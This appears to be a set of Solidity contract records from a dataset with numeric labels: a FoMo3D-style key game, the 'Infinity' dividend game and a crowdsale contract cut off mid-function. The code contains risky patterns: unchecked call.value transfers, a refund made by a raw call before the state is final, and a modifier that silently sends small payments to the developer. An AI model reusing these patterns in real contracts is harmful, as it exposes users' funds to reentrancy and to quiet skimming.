(round_[_rID].team != _team) round_[_rID].team = _team; _eventData_.compressedData = _eventData_.compressedData + 100; } plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][0] = _eth.add(rndTmEth_[_rID][0]); _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, 0, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, 0, _keys, _eventData_); endTx(_pID, 0, _eth, _keys, _eventData_); } function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else return ( (_eth).keys() ); } function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else return ( (_keys).eth() ); } function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook)); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook)); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function determinePID(POOHMOXDatasets.EventReturns memory _eventData_) private returns (POOHMOXDatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != "") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } function managePlayer(uint256 _pID, POOHMOXDatasets.EventReturns memory _eventData_) private returns (POOHMOXDatasets.EventReturns) { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); plyr_[_pID].lrnd = rID_; _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } function endRound(POOHMOXDatasets.EventReturns memory _eventData_) private returns (POOHMOXDatasets.EventReturns) { uint256 _rID = rID_; uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; uint256 _pot = round_[_rID].pot; uint256 _win = (_pot.mul(48)) / 100; uint256 _dev = (_pot / 50); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _POOH = (_pot.mul(potSplit_[_winTID].pooh)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_dev)).sub(_gen)).sub(_POOH); uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } plyr_[_winPID].win = _win.add(plyr_[_winPID].win); admin.transfer(_dev); flushDivs.call.value(_POOH)(bytes4(keccak256("donate()"))); round_[_rID].mask = _ppt.add(round_[_rID].mask); _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.POOHAmount = _POOH; _eventData_.newPot = _res; rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndMax_); round_[_rID].pot = _res; return(_eventData_); } function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } function updateTimer(uint256 _keys, uint256 _rID) private { uint256 _now = now; uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, POOHMOXDatasets.EventReturns memory _eventData_) private returns(POOHMOXDatasets.EventReturns) { uint256 _dev = _eth / 100; uint256 _POOH = 0; if (!address(admin).call.value(_dev)()) { _POOH = _dev; _dev = 0; } uint256 _aff = _eth / 10; if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit POOHMOXevents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _POOH = _POOH.add(_aff); } _POOH = _POOH.add((_eth.mul(fees_[_team].pooh)) / (100)); if (_POOH > 0) { flushDivs.call.value(_POOH)(bytes4(keccak256("donate()"))); _eventData_.POOHAmount = _POOH.add(_eventData_.POOHAmount); } return(_eventData_); } function potSwap() external payable { admin.transfer(msg.value); } function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, POOHMOXDatasets.EventReturns memory _eventData_) private returns(POOHMOXDatasets.EventReturns) { uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; _eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].pooh)) / 100)); uint256 _pot = _eth.sub(_gen); uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns(uint256) { updateGenVault(_pID, plyr_[_pID].lrnd); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, POOHMOXDatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit POOHMOXevents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.POOHAmount, _eventData_.genAmount, _eventData_.potAmount ); } bool public activated_ = false; function activate() public { require(msg.sender == admin); require(activated_ == false); activated_ = true; rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } function whenGameDies() public { require(msg.sender == admin); flushDivs.call.value(address(this).balance)(bytes4(keccak256("donate()"))); } } library POOHMOXDatasets { struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; uint256 newPot; uint256 POOHAmount; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 lrnd; uint256 laff; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; uint256 ico; } struct Round { uint256 plyr; uint256 team; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; uint256 ico; uint256 icoGen; uint256 icoAvg; } struct TeamFee { uint256 gen; uint256 pooh; } struct PotSplit { uint256 gen; uint256 pooh; } } library KeysCalc { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return (_eth / 0.01 ether) * 1e18; } function eth(uint256 _keys) internal pure returns(uint256) { return _keys.mul(0.01 ether) / 1e18; } } interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20); if (_temp[0] == 0x30) { require(_temp[1] != 0x78); require(_temp[1] != 0x58); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a)); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, "SafeMath mul failed"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath sub failed"); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, "SafeMath add failed"); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }
0
910
pragma solidity ^0.4.24; contract Infinity { using SafeMath for uint256; string public name = "Infinity"; string public symbol = "Inf"; uint256 public initAmount; uint256 public amountProportion; uint256 public dividend; uint256 public jackpot; uint256 public jackpotProportion; uint256 public scientists; uint256 public promotionRatio; uint256 public duration; bool public activated = false; address public developerAddr; uint256 public rId; uint256 public sId; mapping (uint256 => Indatasets.Round) public round; mapping (uint256 => mapping (uint256 => Indatasets.Stage)) public stage; mapping (address => Indatasets.Player) public player; mapping (uint256 => mapping (address => uint256)) public playerRoundAmount; mapping (uint256 => mapping (address => uint256)) public playerRoundSid; mapping (uint256 => mapping (address => uint256)) public playerRoundwithdrawAmountFlag; mapping (uint256 => mapping (uint256 => mapping (address => uint256))) public playerStageAmount; mapping (uint256 => mapping (uint256 => mapping (address => uint256))) public playerStageAccAmount; uint256[] amountLimit = [0, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50]; constructor() public { developerAddr = msg.sender; } modifier isActivated() { require(activated == true, "its not ready yet. check ?eta in discord"); _; } modifier senderVerify() { require (msg.sender == tx.origin); _; } modifier stageVerify(uint256 _rId, uint256 _sId, uint256 _amount) { require(stage[_rId][_sId].amount.add(_amount) <= stage[_rId][_sId].targetAmount); _; } modifier amountVerify() { if(msg.value < 100000000000000){ developerAddr.transfer(msg.value); }else{ require(msg.value >= 100000000000000); _; } } modifier playerVerify() { require(player[msg.sender].active == true); _; } function activate() public { require(msg.sender == developerAddr); require(activated == false, "Infinity already activated"); activated = true; initAmount = 10000000000000000000; amountProportion = 10; dividend = 70; jackpot = 28; jackpotProportion = 70; scientists = 2; promotionRatio = 10; duration = 86400; rId = 1; sId = 1; round[rId].start = now; initStage(rId, sId); } function() isActivated() senderVerify() amountVerify() payable public { buyAnalysis(0x0); } function buy(address _recommendAddr) isActivated() senderVerify() amountVerify() public payable returns(uint256) { buyAnalysis(_recommendAddr); } function withdraw() isActivated() senderVerify() playerVerify() public { uint256 _rId = rId; uint256 _sId = sId; uint256 _amount; uint256 _playerWithdrawAmountFlag; (_amount, player[msg.sender].withdrawRid, player[msg.sender].withdrawSid, _playerWithdrawAmountFlag) = getPlayerDividendByStage(_rId, _sId, msg.sender); if(_playerWithdrawAmountFlag > 0) playerRoundwithdrawAmountFlag[player[msg.sender].withdrawRid][msg.sender] = _playerWithdrawAmountFlag; if(player[msg.sender].promotionAmount > 0 ){ _amount = _amount.add(player[msg.sender].promotionAmount); player[msg.sender].promotionAmount = 0; } msg.sender.transfer(_amount); } function buyAnalysis(address _recommendAddr) private { uint256 _rId = rId; uint256 _sId = sId; uint256 _amount = msg.value; uint256 _promotionRatio = promotionRatio; if(now > stage[_rId][_sId].end && stage[_rId][_sId].targetAmount > stage[_rId][_sId].amount){ endRound(_rId, _sId); _rId = rId; _sId = sId; round[_rId].start = now; initStage(_rId, _sId); _amount = limitAmount(_rId, _sId); buyRoundDataRecord(_rId, _amount); _promotionRatio = promotionDataRecord(_recommendAddr, _amount); buyStageDataRecord(_rId, _sId, _promotionRatio, _amount); buyPlayerDataRecord(_rId, _sId, _amount); }else if(now <= stage[_rId][_sId].end){ _amount = limitAmount(_rId, _sId); buyRoundDataRecord(_rId, _amount); _promotionRatio = promotionDataRecord(_recommendAddr, _amount); if(stage[_rId][_sId].amount.add(_amount) >= stage[_rId][_sId].targetAmount){ uint256 differenceAmount = (stage[_rId][_sId].targetAmount).sub(stage[_rId][_sId].amount); buyStageDataRecord(_rId, _sId, _promotionRatio, differenceAmount); buyPlayerDataRecord(_rId, _sId, differenceAmount); endStage(_rId, _sId); _sId = sId; initStage(_rId, _sId); round[_rId].endSid = _sId; buyStageDataRecord(_rId, _sId, _promotionRatio, _amount.sub(differenceAmount)); buyPlayerDataRecord(_rId, _sId, _amount.sub(differenceAmount)); }else{ buyStageDataRecord(_rId, _sId, _promotionRatio, _amount); buyPlayerDataRecord(_rId, _sId, _amount); } } } function initStage(uint256 _rId, uint256 _sId) private { uint256 _targetAmount; stage[_rId][_sId].start = now; stage[_rId][_sId].end = now.add(duration); if(_sId > 1){ stage[_rId][_sId - 1].end = now; stage[_rId][_sId - 1].ended = true; _targetAmount = (stage[_rId][_sId - 1].targetAmount.mul(amountProportion + 100)) / 100; }else _targetAmount = initAmount; stage[_rId][_sId].targetAmount = _targetAmount; } function limitAmount(uint256 _rId, uint256 _sId) private returns(uint256) { uint256 _amount = msg.value; if(amountLimit.length > _sId) _amount = ((stage[_rId][_sId].targetAmount.mul(amountLimit[_sId])) / 1000).sub(playerStageAmount[_rId][_sId][msg.sender]); else _amount = ((stage[_rId][_sId].targetAmount.mul(500)) / 1000).sub(playerStageAmount[_rId][_sId][msg.sender]); if(_amount >= msg.value) return msg.value; else msg.sender.transfer(msg.value.sub(_amount)); return _amount; } function promotionDataRecord(address _recommendAddr, uint256 _amount) private returns(uint256) { uint256 _promotionRatio = promotionRatio; if(_recommendAddr != 0x0000000000000000000000000000000000000000 && _recommendAddr != msg.sender && player[_recommendAddr].active == true ) player[_recommendAddr].promotionAmount = player[_recommendAddr].promotionAmount.add((_amount.mul(_promotionRatio)) / 100); else _promotionRatio = 0; return _promotionRatio; } function buyRoundDataRecord(uint256 _rId, uint256 _amount) private { round[_rId].amount = round[_rId].amount.add(_amount); developerAddr.transfer(_amount.mul(scientists) / 100); } function buyStageDataRecord(uint256 _rId, uint256 _sId, uint256 _promotionRatio, uint256 _amount) stageVerify(_rId, _sId, _amount) private { if(_amount <= 0) return; stage[_rId][_sId].amount = stage[_rId][_sId].amount.add(_amount); stage[_rId][_sId].dividendAmount = stage[_rId][_sId].dividendAmount.add((_amount.mul(dividend.sub(_promotionRatio))) / 100); } function buyPlayerDataRecord(uint256 _rId, uint256 _sId, uint256 _amount) private { if(_amount <= 0) return; if(player[msg.sender].active == false){ player[msg.sender].active = true; player[msg.sender].withdrawRid = _rId; player[msg.sender].withdrawSid = _sId; } if(playerRoundAmount[_rId][msg.sender] == 0){ round[_rId].players++; playerRoundSid[_rId][msg.sender] = _sId; } if(playerStageAmount[_rId][_sId][msg.sender] == 0) stage[_rId][_sId].players++; playerRoundAmount[_rId][msg.sender] = playerRoundAmount[_rId][msg.sender].add(_amount); playerStageAmount[_rId][_sId][msg.sender] = playerStageAmount[_rId][_sId][msg.sender].add(_amount); player[msg.sender].amount = player[msg.sender].amount.add(_amount); if(playerRoundSid[_rId][msg.sender] > 0){ if(playerStageAccAmount[_rId][_sId][msg.sender] == 0){ for(uint256 i = playerRoundSid[_rId][msg.sender]; i < _sId; i++){ if(playerStageAmount[_rId][i][msg.sender] > 0) playerStageAccAmount[_rId][_sId][msg.sender] = playerStageAccAmount[_rId][_sId][msg.sender].add(playerStageAmount[_rId][i][msg.sender]); } } playerStageAccAmount[_rId][_sId][msg.sender] = playerStageAccAmount[_rId][_sId][msg.sender].add(_amount); } } function endRound(uint256 _rId, uint256 _sId) private { round[_rId].end = now; round[_rId].ended = true; round[_rId].endSid = _sId; stage[_rId][_sId].end = now; stage[_rId][_sId].ended = true; if(stage[_rId][_sId].players == 0) round[_rId + 1].jackpotAmount = round[_rId + 1].jackpotAmount.add(round[_rId].jackpotAmount); else round[_rId + 1].jackpotAmount = round[_rId + 1].jackpotAmount.add(round[_rId].jackpotAmount.mul(100 - jackpotProportion) / 100); rId++; sId = 1; } function endStage(uint256 _rId, uint256 _sId) private { uint256 _jackpotAmount = stage[_rId][_sId].amount.mul(jackpot) / 100; round[_rId].endSid = _sId; round[_rId].jackpotAmount = round[_rId].jackpotAmount.add(_jackpotAmount); stage[_rId][_sId].end = now; stage[_rId][_sId].ended = true; if(_sId > 1) stage[_rId][_sId].accAmount = stage[_rId][_sId].targetAmount.add(stage[_rId][_sId - 1].accAmount); else stage[_rId][_sId].accAmount = stage[_rId][_sId].targetAmount; sId++; } function getPlayerDividendByStage(uint256 _rId, uint256 _sId, address _playerAddr) private view returns(uint256, uint256, uint256, uint256) { uint256 _dividend; uint256 _stageNumber; uint256 _startSid; uint256 _playerAmount; for(uint256 i = player[_playerAddr].withdrawRid; i <= _rId; i++){ if(playerRoundAmount[i][_playerAddr] == 0) continue; _playerAmount = 0; _startSid = i == player[_playerAddr].withdrawRid ? player[_playerAddr].withdrawSid : 1; for(uint256 j = _startSid; j < round[i].endSid; j++){ if(playerStageAccAmount[i][j][_playerAddr] > 0) _playerAmount = playerStageAccAmount[i][j][_playerAddr]; if(_playerAmount == 0) _playerAmount = playerRoundwithdrawAmountFlag[i][_playerAddr]; if(_playerAmount == 0) continue; _dividend = _dividend.add( ( _playerAmount.mul(stage[i][j].dividendAmount) ).div(stage[i][j].accAmount) ); _stageNumber++; if(_stageNumber >= 50) return (_dividend, i, j + 1, _playerAmount); } if(round[i].ended == true && stage[i][round[i].endSid].amount > 0 && playerStageAmount[i][round[i].endSid][_playerAddr] > 0 ){ _dividend = _dividend.add(getPlayerJackpot(_playerAddr, i)); _stageNumber++; if(_stageNumber >= 50) return (_dividend, i + 1, 1, 0); } } return (_dividend, _rId, _sId, _playerAmount); } function getPlayerDividend(address _playerAddr) public view returns(uint256) { uint256 _endRid = rId; uint256 _startRid = player[_playerAddr].withdrawRid; uint256 _startSid; uint256 _dividend; for(uint256 i = _startRid; i <= _endRid; i++){ if(i == _startRid) _startSid = player[_playerAddr].withdrawSid; else _startSid = 1; _dividend = _dividend.add(getPlayerDividendByRound(_playerAddr, i, _startSid)); } return _dividend; } function getPlayerDividendByRound(address _playerAddr, uint256 _rId, uint256 _sId) public view returns(uint256) { uint256 _dividend; uint256 _startSid = _sId; uint256 _endSid = round[_rId].endSid; uint256 _playerAmount; uint256 _totalAmount; for(uint256 i = _startSid; i < _endSid; i++){ if(stage[_rId][i].ended == false) continue; _playerAmount = 0; _totalAmount = 0; for(uint256 j = 1; j <= i; j++){ if(playerStageAmount[_rId][j][_playerAddr] > 0) _playerAmount = _playerAmount.add(playerStageAmount[_rId][j][_playerAddr]); _totalAmount = _totalAmount.add(stage[_rId][j].amount); } if(_playerAmount == 0 || stage[_rId][i].dividendAmount == 0) continue; _dividend = _dividend.add((_playerAmount.mul(stage[_rId][i].dividendAmount)).div(_totalAmount)); } if(round[_rId].ended == true) _dividend = _dividend.add(getPlayerJackpot(_playerAddr, _rId)); return _dividend; } function getPlayerJackpot(address _playerAddr, uint256 _rId) public view returns(uint256) { uint256 _dividend; if(round[_rId].ended == false) return _dividend; uint256 _endSid = round[_rId].endSid; uint256 _playerStageAmount = playerStageAmount[_rId][_endSid][_playerAddr]; uint256 _stageAmount = stage[_rId][_endSid].amount; if(_stageAmount <= 0) return _dividend; uint256 _jackpotAmount = round[_rId].jackpotAmount.mul(jackpotProportion) / 100; uint256 _stageDividendAmount = stage[_rId][_endSid].dividendAmount; uint256 _stageJackpotAmount = (_stageAmount.mul(jackpot) / 100).add(_stageDividendAmount); _dividend = _dividend.add(((_playerStageAmount.mul(_jackpotAmount)).div(_stageAmount))); _dividend = _dividend.add(((_playerStageAmount.mul(_stageJackpotAmount)).div(_stageAmount))); return _dividend; } function getHeadInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, bool) { return ( rId, sId, round[rId].jackpotAmount, stage[rId][sId].targetAmount, stage[rId][sId].amount, stage[rId][sId].end, stage[rId][sId].ended ); } function getPersonalStatus(address _playerAddr) public view returns(uint256, uint256, uint256) { if (player[_playerAddr].active == true){ return ( round[rId].jackpotAmount, playerRoundAmount[rId][_playerAddr], getPlayerDividendByRound(_playerAddr, rId, 1) ); }else{ return ( round[rId].jackpotAmount, 0, 0 ); } } function getValueInfo(address _playerAddr) public view returns(uint256, uint256) { if (player[_playerAddr].active == true){ return ( getPlayerDividend(_playerAddr), player[_playerAddr].promotionAmount ); }else{ return ( 0, 0 ); } } } library Indatasets { struct Round { uint256 start; uint256 end; bool ended; uint256 endSid; uint256 amount; uint256 jackpotAmount; uint256 players; } struct Stage { uint256 start; uint256 end; bool ended; uint256 targetAmount; uint256 amount; uint256 dividendAmount; uint256 accAmount; uint256 players; } struct Player { bool active; uint256 amount; uint256 promotionAmount; uint256 withdrawRid; uint256 withdrawSid; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { assert(b > 0); uint256 c = a / b; assert(a == b * c + a % b); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }
0
2,172
pragma solidity ^ 0.4.13; contract MigrationAgent { function migrateFrom(address _from, uint256 _value); } contract PreZeusToken { function balanceOf(address _owner) constant returns(uint256 balance); } contract Owned { address public owner; address public newOwner; address public oracle; address public btcOracle; function Owned() payable { owner = msg.sender; } modifier onlyOwner { require(owner == msg.sender); _; } modifier onlyOwnerOrOracle { require(owner == msg.sender || oracle == msg.sender); _; } modifier onlyOwnerOrBtcOracle { require(owner == msg.sender || btcOracle == msg.sender); _; } function changeOwner(address _owner) onlyOwner external { require(_owner != 0); newOwner = _owner; } function confirmOwner() external { require(newOwner == msg.sender); owner = newOwner; delete newOwner; } function changeOracle(address _oracle) onlyOwner external { require(_oracle != 0); oracle = _oracle; } function changeBtcOracle(address _btcOracle) onlyOwner external { require(_btcOracle != 0); btcOracle = _btcOracle; } } contract KnownContract { function transfered(address _sender, uint256 _value, bytes32[] _data) external; } contract ERC20 { uint public totalSupply; function balanceOf(address who) constant returns(uint); function transfer(address to, uint value); function allowance(address owner, address spender) constant returns(uint); function transferFrom(address from, address to, uint value); function approve(address spender, uint value); event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); } contract Stateful { enum State { Initial, PrivateSale, PreSale, WaitingForSale, Sale, CrowdsaleCompleted, SaleFailed } State public state = State.Initial; event StateChanged(State oldState, State newState); function setState(State newState) internal { State oldState = state; state = newState; StateChanged(oldState, newState); } } contract Crowdsale is Owned, Stateful { uint public etherPriceUSDWEI; address public beneficiary; uint public totalLimitUSDWEI; uint public minimalSuccessUSDWEI; uint public collectedUSDWEI; uint public crowdsaleStartTime; uint public crowdsaleFinishTime; struct Investor { uint amountTokens; uint amountWei; } struct BtcDeposit { uint amountBTCWEI; uint btcPriceUSDWEI; address investor; } mapping(bytes32 => BtcDeposit) public btcDeposits; mapping(address => Investor) public investors; mapping(uint => address) public investorsIter; uint public numberOfInvestors; mapping(uint => address) public investorsToWithdrawIter; uint public numberOfInvestorsToWithdraw; function Crowdsale() payable Owned() {} function emitTokens(address _investor, uint _tokenPriceUSDWEI, uint _usdwei) internal returns(uint tokensToEmit); function emitAdditionalTokens() internal; function burnTokens(address _address, uint _amount) internal; function() payable crowdsaleState limitNotExceeded { uint valueWEI = msg.value; uint valueUSDWEI = valueWEI * etherPriceUSDWEI / 1 ether; uint tokenPriceUSDWEI = getTokenPriceUSDWEI(valueUSDWEI); if (collectedUSDWEI + valueUSDWEI > totalLimitUSDWEI) { valueUSDWEI = totalLimitUSDWEI - collectedUSDWEI; valueWEI = valueUSDWEI * 1 ether / etherPriceUSDWEI; uint weiToReturn = msg.value - valueWEI; bool isSent = msg.sender.call.gas(3000000).value(weiToReturn)(); require(isSent); collectedUSDWEI = totalLimitUSDWEI; } else { collectedUSDWEI += valueUSDWEI; } emitTokensFor(msg.sender, tokenPriceUSDWEI, valueUSDWEI, valueWEI); } function depositUSD(address _to, uint _amountUSDWEI) external onlyOwner crowdsaleState limitNotExceeded { uint tokenPriceUSDWEI = getTokenPriceUSDWEI(_amountUSDWEI); collectedUSDWEI += _amountUSDWEI; emitTokensFor(_to, tokenPriceUSDWEI, _amountUSDWEI, 0); } function depositBTC(address _to, uint _amountBTCWEI, uint _btcPriceUSDWEI, bytes32 _btcTxId) external onlyOwnerOrBtcOracle crowdsaleState limitNotExceeded { uint valueUSDWEI = _amountBTCWEI * _btcPriceUSDWEI / 1 ether; uint tokenPriceUSDWEI = getTokenPriceUSDWEI(valueUSDWEI); BtcDeposit storage btcDep = btcDeposits[_btcTxId]; require(btcDep.amountBTCWEI == 0); btcDep.amountBTCWEI = _amountBTCWEI; btcDep.btcPriceUSDWEI = _btcPriceUSDWEI; btcDep.investor = _to; collectedUSDWEI += valueUSDWEI; emitTokensFor(_to, tokenPriceUSDWEI, valueUSDWEI, 0); } function emitTokensFor(address _investor, uint _tokenPriceUSDWEI, uint _valueUSDWEI, uint _valueWEI) internal { var emittedTokens = emitTokens(_investor, _tokenPriceUSDWEI, _valueUSDWEI); Investor storage inv = investors[_investor]; if (inv.amountTokens == 0) { investorsIter[numberOfInvestors++] = _investor; } inv.amountTokens += emittedTokens; if (state == State.Sale) { inv.amountWei += _valueWEI; } } function getTokenPriceUSDWEI(uint _valueUSDWEI) internal returns(uint tokenPriceUSDWEI) { tokenPriceUSDWEI = 0; if (state == State.PrivateSale) { tokenPriceUSDWEI = 6000000000000000; } if (state == State.PreSale) { require(now < crowdsaleFinishTime); tokenPriceUSDWEI = 7000000000000000; } if (state == State.Sale) { require(now < crowdsaleFinishTime); if (now < crowdsaleStartTime + 